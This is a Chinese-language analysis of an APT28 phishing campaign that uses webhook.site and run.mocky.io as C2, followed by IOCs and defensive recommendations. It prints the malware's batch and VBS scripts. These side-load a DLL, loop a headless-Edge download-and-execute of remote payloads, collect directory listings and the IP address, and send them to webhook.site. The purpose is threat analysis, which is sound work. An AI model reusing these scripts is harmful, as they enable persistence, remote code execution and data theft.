APT28近期活动,利用非自有域名作为C2下发恶意载荷,病毒样本分析
字数 3178 2025-08-22 12:23:13

APT28利用非自有域名作为C2的恶意样本分析教学文档

一、背景概述

APT28(又称Fancy Bear)是一个据信有俄罗斯国家背景的黑客组织,以其高级持续性威胁(APT)攻击而闻名。本教学文档将详细分析APT28近期使用的一种新型攻击手法,该手法利用非自有第三方合法资源托管恶意载荷,通过多阶段执行实现攻击目的。

二、攻击流程总览

该攻击采用多阶段执行策略,主要流程如下:

  1. 第一阶段:通过钓鱼邮件诱导受害者点击链接,从合法服务下载恶意载荷
  2. 第二阶段:使用"白加黑"技术加载恶意DLL,执行BAT下载者
  3. 第三阶段:周期性下载并执行恶意CMD脚本
  4. 第四阶段:信息收集与C2通信

三、详细攻击分析

3.1 第一阶段:利用非自有域名下发恶意载荷

攻击手法

  • 攻击者发送钓鱼邮件,内含指向合法服务"run.mocky.io"的链接
  • 该链接实际上是一个API端点,会重定向到"webhook.site"下载恶意ZIP文件

技术细节

  • 使用"run.mocky.io"(API测试服务)作为初始C2
  • 重定向至"webhook.site"(Webhook测试工具)下载恶意ZIP
  • 示例恶意链接:
    hxxps://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=2d07e34c-3dd3-45e8-865c-3888a65ab885
    hxxps://webhook.site/2d07e34c-3dd3-45e8-865c-3888a65ab885
    

防御意义

  • 传统安全产品可能不会阻止对这类合法服务的访问
  • 需要关注合法服务被滥用的异常行为模式

3.2 第二阶段:白加黑与侧加载技术

文件结构

  • 下载的ZIP文件名为"IMG-{随机数}.zip"
  • 内含一个".jpg"文件(实际是另一个压缩包)
  • 二次解压后得到三个文件:
    • IMG-{随机数}.jpg.exe:伪装成图片的计算器程序
    • WindowsCodecs.dll:恶意DLL
    • zdesdyf.bat:下载者脚本

执行流程

  1. 用户运行IMG-{随机数}.jpg.exe
  2. 程序尝试加载WindowsCodecs.dll的导出函数WICCreateImagingFactory_Proxy
  3. 实际执行的是DLL的DllMain函数,加载同路径的BAT文件
  4. BAT脚本执行以下操作:
    • 启动Microsoft Edge下载后续载荷
    • 移动并重命名文件至%programdata%
    • 执行下载的脚本
    • 删除自身痕迹

BAT脚本关键代码

@echo off
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
start msedge data:text/html;base64,<base64编码的恶意页面>
timeout 15 > nul
move %userprofile%\downloads\IMG-7214532.jpg %programdata%\IMG-7214532.cmd > nul
type nul > %userprofile%\downloads\IMG-7214532.jpg
call %programdata%\IMG-7214532.cmd
del /q /f /a %0 & exit

技术特点

  • 使用白加黑技术(合法EXE+恶意DLL)
  • 利用DLL侧加载执行恶意代码
  • 通过Base64编码隐藏恶意URL
  • 使用系统合法路径存放恶意文件

3.3 第三阶段:周期性下载者

执行流程

  1. 创建VBS脚本实现静默执行
  2. 创建BAT脚本实现以下功能:
    • 每5分钟循环执行
    • 终止Edge进程
    • 使用Edge的无头模式下载恶意CSS文件
    • 移动并重命名为CMD文件执行
    • 清理痕迹

关键代码

@echo off & (
echo On Error Resume Next
echo CreateObject("WScript.shell").Run "^""%%programdata%%\\dee016bf-21a2-45dd-86b4-6099747794c4.bat^"^^"", 0, False
echo Set oFso = CreateObject("Scripting.FileSystemObject") : oFso.DeleteFile Wscript.ScriptFullName, True
) > "%programdata%\dee016bf-21a2-45dd-86b4-6099747794c4.vbs" & ...

echo del %%0 ^& for /l %%%%n in () do (
chcp 65001 ^& timeout 300 ^& taskkill /im msedge.exe /f ^& timeout 5 ^& 
del /q /f "%%userprofile%%\Downloads\*.css" ^& 
start "" msedge --headless=new --disable-gpu data:text/html;base64,PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgiaHR0cHM6Ly93ZWJob29rLnNpdGUvZGVlMDE2YmYtMjFhMi00NWRkLTg2YjQtNjA5OTc0Nzc5NGM0Iik7PC9zY3JpcHQ+ ^& 
timeout 30 ^& taskkill /im msedge.exe /f ^& 
move /y "%%userprofile%%\Downloads\*.css" "%%programdata%%\dee016bf-21a2-45dd-86b4-6099747794c4.cmd" ^& 
call "%%programdata%%\dee016bf-21a2-45dd-86b4-6099747794c4.cmd" ^& 
del /q /f "%%programdata%%\dee016bf-21a2-45dd-86b4-6099747794c4.cmd"
) > "%programdata%\dee016bf-21a2-45dd-86b4-6099747794c4.bat" & ...

技术特点

  • 使用无限循环实现持久化
  • 利用Edge无头模式隐蔽下载
  • 定期更新恶意脚本
  • 通过VBS实现静默执行

3.4 第四阶段:信息收集与C2通信

执行流程

  1. 收集系统信息:
    • 用户目录内容
    • Program Files目录
    • 出口IP地址(通过ipinfo.io)
  2. 将信息整合为HTML文件
  3. 通过XMLHttpRequest发送至C2
  4. 清理痕迹

关键代码

@echo off
chcp 65001 
taskkill /im msedge.exe /f

(dir "%userprofile%\.." & dir "%userprofile%\Desktop" & dir "%userprofile%\Downloads" & 
 dir "%userprofile%\Documents" & dir "%ProgramFiles%" & dir "%ProgramFiles(x86)%" & 
 curl -k https://ipinfo.io) > "%programdata%\bwjxyeysed.diff"

copy "%programdata%\*.tab" + "%programdata%\*.diff" + "%programdata%\*.tsv" "%programdata%\nydgflyhuv.html"

(echo %programdata%) > "%programdata%\gjvrexfiac"
set /p gjvrexfiac=<"%programdata%\gjvrexfiac"

timeout 5
start "" msedge --headless=new --disable-gpu "file:///%gjvrexfiac%/nydgflyhuv.html"
timeout 30

taskkill /im msedge.exe /f
del /q /f "%userprofile%\Downloads\*.css"
del /q /f "%programdata%\gjvrexfiac"
del /q /f "%programdata%\*.diff"
del /q /f "%programdata%\nydgflyhuv.html"

C2通信

  • 使用XMLHttpRequest发送数据
  • C2地址为"https://webhook.site/{唯一标识符}"
  • 数据以HTML文件形式发送

四、IOC(入侵指标)

文件哈希

  1. ZIP文件

    • 745cfce3e0242d0d5f6765b1f74608e9086d7793b45dbd1747f2d2778dec6587 (IMG-0601181.zip)
    • 4f0f9a2076b0fd14124bed08f5fc939bada528e7a8163912a4ad1ec7687029a3 (IMG-89848928.zip)
    • 5883842c87ca6b59236257e15db983cc88d4948cf0d649455f8f393899673fcc (IMG-3907894910429.zip)
  2. DLL文件

    • 598a8b918d0d2908a756475aee1e9ffaa57b110d8519014a075668b8b1182990 (WindowsCodecs.dll)
    • 0873a19d278a7a8e8cff2dc2e7edbfddc650d8ea961162a6eb3cb3ea14665983 (WindowsCodecs.dll)
    • ae4e94c5027998f4ce17343e50b935f448e099a89266f9564bd53a069da2ca9a (WindowsCodecs.dll)
  3. BAT脚本

    • ef67f20ff9184cab46408b27eaf12a5941c9f130be49f1c6ac421b546dac2bac (hzjtajjklr.bat)
    • d714fff643d53fdd56cf9dcb3bd265e1920c4b5f34a4668b584a0619703d8a3e (jxfgibtfxiewsdvmeg.bat)
    • e826dc4f5c16a1802517881f32f26061a4cbc508c3f7944540a209217078aa11 (bmpxjphdzwommblflx.bat)
  4. JPG文件

    • 96766dfbf6c661ee3e9f750696803824a04e58402c66f208835a7acebfab1cfc (IMG-0601181.jpg)
    • b3e60909036c4110eb7e3d8c0b1db5be5c164fcc32056885e4f1afe561341afd (IMG-89848928.jpg)
    • 750948489ed5b92750dc254c47b02eb595c6ffcefded6f9d14c3482a96a6e793 (IMG-3907894910429.jpg)
  5. CSS文件

    • 939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 (多个变种使用相同哈希)

C2域名

  • run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903
  • webhook.site/2d07e34c-3dd3-45e8-865c-3888a65ab885
  • webhook.site/4ba464d9-0675-4a7a-9966-8f84e93290ba
  • webhook.site/0ef0dcf7-f258-4d02-b274-cbf62a2000cf

五、防御建议

  1. 邮件安全

    • 实施高级邮件过滤解决方案
    • 对包含短链接或API端点的URL保持警惕
    • 教育用户识别钓鱼邮件
  2. 端点防护

    • 监控异常进程行为(如计算器程序加载DLL)
    • 检测白加黑和侧加载技术
    • 限制脚本执行权限
  3. 网络监控

    • 监控对webhook.site、mocky.io等服务的异常访问
    • 检测周期性网络通信模式
    • 拦截可疑的Base64编码URL
  4. 日志分析

    • 收集和分析进程创建日志
    • 监控%programdata%目录的异常文件操作
    • 跟踪Edge无头模式的执行
  5. 纵深防御

    • 实施应用白名单
    • 限制PowerShell和CMD脚本执行
    • 部署EDR解决方案进行行为监控

六、总结

APT28此次攻击展示了高级攻击者的战术演进:

  1. 利用合法第三方服务托管恶意载荷,绕过传统防御
  2. 采用多阶段执行降低单点检测风险
  3. 使用白加黑和侧加载技术绕过应用程序控制
  4. 通过周期性更新实现持久化
  5. 精心设计的痕迹清理机制

防御此类攻击需要结合技术控制、用户教育和持续监控的多层防御策略。

APT28利用非自有域名作为C2的恶意样本分析教学文档 一、背景概述 APT28(又称Fancy Bear)是一个据信有俄罗斯国家背景的黑客组织,以其高级持续性威胁(APT)攻击而闻名。本教学文档将详细分析APT28近期使用的一种新型攻击手法,该手法利用非自有第三方合法资源托管恶意载荷,通过多阶段执行实现攻击目的。 二、攻击流程总览 该攻击采用多阶段执行策略,主要流程如下: 第一阶段 :通过钓鱼邮件诱导受害者点击链接,从合法服务下载恶意载荷 第二阶段 :使用"白加黑"技术加载恶意DLL,执行BAT下载者 第三阶段 :周期性下载并执行恶意CMD脚本 第四阶段 :信息收集与C2通信 三、详细攻击分析 3.1 第一阶段:利用非自有域名下发恶意载荷 攻击手法 : 攻击者发送钓鱼邮件,内含指向合法服务"run.mocky.io"的链接 该链接实际上是一个API端点,会重定向到"webhook.site"下载恶意ZIP文件 技术细节 : 使用"run.mocky.io"(API测试服务)作为初始C2 重定向至"webhook.site"(Webhook测试工具)下载恶意ZIP 示例恶意链接: 防御意义 : 传统安全产品可能不会阻止对这类合法服务的访问 需要关注合法服务被滥用的异常行为模式 3.2 第二阶段:白加黑与侧加载技术 文件结构 : 下载的ZIP文件名为"IMG-{随机数}.zip" 内含一个".jpg"文件(实际是另一个压缩包) 二次解压后得到三个文件: IMG-{随机数}.jpg.exe :伪装成图片的计算器程序 WindowsCodecs.dll :恶意DLL zdesdyf.bat :下载者脚本 执行流程 : 用户运行 IMG-{随机数}.jpg.exe 程序尝试加载 WindowsCodecs.dll 的导出函数 WICCreateImagingFactory_Proxy 实际执行的是DLL的DllMain函数,加载同路径的BAT文件 BAT脚本执行以下操作: 启动Microsoft Edge下载后续载荷 移动并重命名文件至 %programdata% 执行下载的脚本 删除自身痕迹 BAT脚本关键代码 : 技术特点 : 使用白加黑技术(合法EXE+恶意DLL) 利用DLL侧加载执行恶意代码 通过Base64编码隐藏恶意URL 使用系统合法路径存放恶意文件 3.3 第三阶段:周期性下载者 执行流程 : 创建VBS脚本实现静默执行 创建BAT脚本实现以下功能: 每5分钟循环执行 终止Edge进程 使用Edge的无头模式下载恶意CSS文件 移动并重命名为CMD文件执行 清理痕迹 关键代码 : 技术特点 : 使用无限循环实现持久化 利用Edge无头模式隐蔽下载 定期更新恶意脚本 通过VBS实现静默执行 3.4 第四阶段:信息收集与C2通信 执行流程 : 收集系统信息: 用户目录内容 Program Files目录 出口IP地址(通过ipinfo.io) 将信息整合为HTML文件 通过XMLHttpRequest发送至C2 清理痕迹 关键代码 : C2通信 : 使用XMLHttpRequest发送数据 C2地址为"https://webhook.site/{唯一标识符}" 数据以HTML文件形式发送 四、IOC(入侵指标) 文件哈希 ZIP文件 : 745cfce3e0242d0d5f6765b1f74608e9086d7793b45dbd1747f2d2778dec6587 (IMG-0601181.zip) 4f0f9a2076b0fd14124bed08f5fc939bada528e7a8163912a4ad1ec7687029a3 (IMG-89848928.zip) 5883842c87ca6b59236257e15db983cc88d4948cf0d649455f8f393899673fcc (IMG-3907894910429.zip) DLL文件 : 598a8b918d0d2908a756475aee1e9ffaa57b110d8519014a075668b8b1182990 (WindowsCodecs.dll) 0873a19d278a7a8e8cff2dc2e7edbfddc650d8ea961162a6eb3cb3ea14665983 (WindowsCodecs.dll) ae4e94c5027998f4ce17343e50b935f448e099a89266f9564bd53a069da2ca9a (WindowsCodecs.dll) BAT脚本 : ef67f20ff9184cab46408b27eaf12a5941c9f130be49f1c6ac421b546dac2bac (hzjtajjklr.bat) d714fff643d53fdd56cf9dcb3bd265e1920c4b5f34a4668b584a0619703d8a3e (jxfgibtfxiewsdvmeg.bat) e826dc4f5c16a1802517881f32f26061a4cbc508c3f7944540a209217078aa11 (bmpxjphdzwommblflx.bat) JPG文件 : 96766dfbf6c661ee3e9f750696803824a04e58402c66f208835a7acebfab1cfc (IMG-0601181.jpg) b3e60909036c4110eb7e3d8c0b1db5be5c164fcc32056885e4f1afe561341afd (IMG-89848928.jpg) 750948489ed5b92750dc254c47b02eb595c6ffcefded6f9d14c3482a96a6e793 (IMG-3907894910429.jpg) CSS文件 : 939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 (多个变种使用相同哈希) C2域名 run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903 webhook.site/2d07e34c-3dd3-45e8-865c-3888a65ab885 webhook.site/4ba464d9-0675-4a7a-9966-8f84e93290ba webhook.site/0ef0dcf7-f258-4d02-b274-cbf62a2000cf 五、防御建议 邮件安全 : 实施高级邮件过滤解决方案 对包含短链接或API端点的URL保持警惕 教育用户识别钓鱼邮件 端点防护 : 监控异常进程行为(如计算器程序加载DLL) 检测白加黑和侧加载技术 限制脚本执行权限 网络监控 : 监控对webhook.site、mocky.io等服务的异常访问 检测周期性网络通信模式 拦截可疑的Base64编码URL 日志分析 : 收集和分析进程创建日志 监控%programdata%目录的异常文件操作 跟踪Edge无头模式的执行 纵深防御 : 实施应用白名单 限制PowerShell和CMD脚本执行 部署EDR解决方案进行行为监控 六、总结 APT28此次攻击展示了高级攻击者的战术演进: 利用合法第三方服务托管恶意载荷,绕过传统防御 采用多阶段执行降低单点检测风险 使用白加黑和侧加载技术绕过应用程序控制 通过周期性更新实现持久化 精心设计的痕迹清理机制 防御此类攻击需要结合技术控制、用户教育和持续监控的多层防御策略。